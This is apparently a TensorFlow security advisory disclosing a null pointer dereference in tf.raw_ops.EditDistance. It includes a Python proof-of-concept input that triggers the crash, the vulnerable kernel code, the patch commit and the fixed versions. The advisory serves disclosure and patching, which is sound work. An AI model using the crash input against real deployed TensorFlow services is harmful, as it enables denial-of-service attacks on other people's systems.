Null pointer dereference in `EditDistance`
### Impact
An attacker can trigger a null pointer dereference in the implementation of `tf.raw_ops.EditDistance`:
```python
import tensorflow as tf
hypothesis_indices = tf.constant([247, 247, 247], shape=[1, 3], dtype=tf.int64)
hypothesis_values = tf.constant([-9.9999], shape=[1], dtype=tf.float32)
hypothesis_shape = tf.constant([0, 0, 0], shape=[3], dtype=tf.int64)
truth_indices = tf.constant([], shape=[0, 3], dtype=tf.int64)
truth_values = tf.constant([], shape=[0], dtype=tf.float32)
truth_shape = tf.constant([0, 0, 0], shape=[3], dtype=tf.int64)
tf.raw_ops.EditDistance(
hypothesis_indices=hypothesis_indices, hypothesis_values=hypothesis_values,
hypothesis_shape=hypothesis_shape, truth_indices=truth_indices,
truth_values=truth_values, truth_shape=truth_shape, normalize=True)
```
This is because the implementation
https://github.com/tensorflow/tensorflow/blob/79865b542f9ffdc9caeb255631f7c56f1d4b6517/tensorflow/core/kernels/edit_distance_op.cc#L103-L159 has incomplete validation of the input parameters.
In the above scenario, an attacker causes an allocation of an empty tensor for the output:
```cc
OP_REQUIRES_OK(ctx, ctx->allocate_output("output", output_shape, &output));
auto output_t = output->flat<float>();
output_t.setZero();
```
Because `output_shape` has 0 elements, the result of `output->flat<T>()` has an empty buffer, so calling `setZero` would result in a null dereference.
### Patches
We have patched the issue in GitHub commit f4c364a5d6880557f6f5b6eb5cee2c407f0186b3
https://github.com/tensorflow/tensorflow/commit/f4c364a5d6880557f6f5b6eb5cee2c407f0186b3.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
### For more information
Please consult our security guide
https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.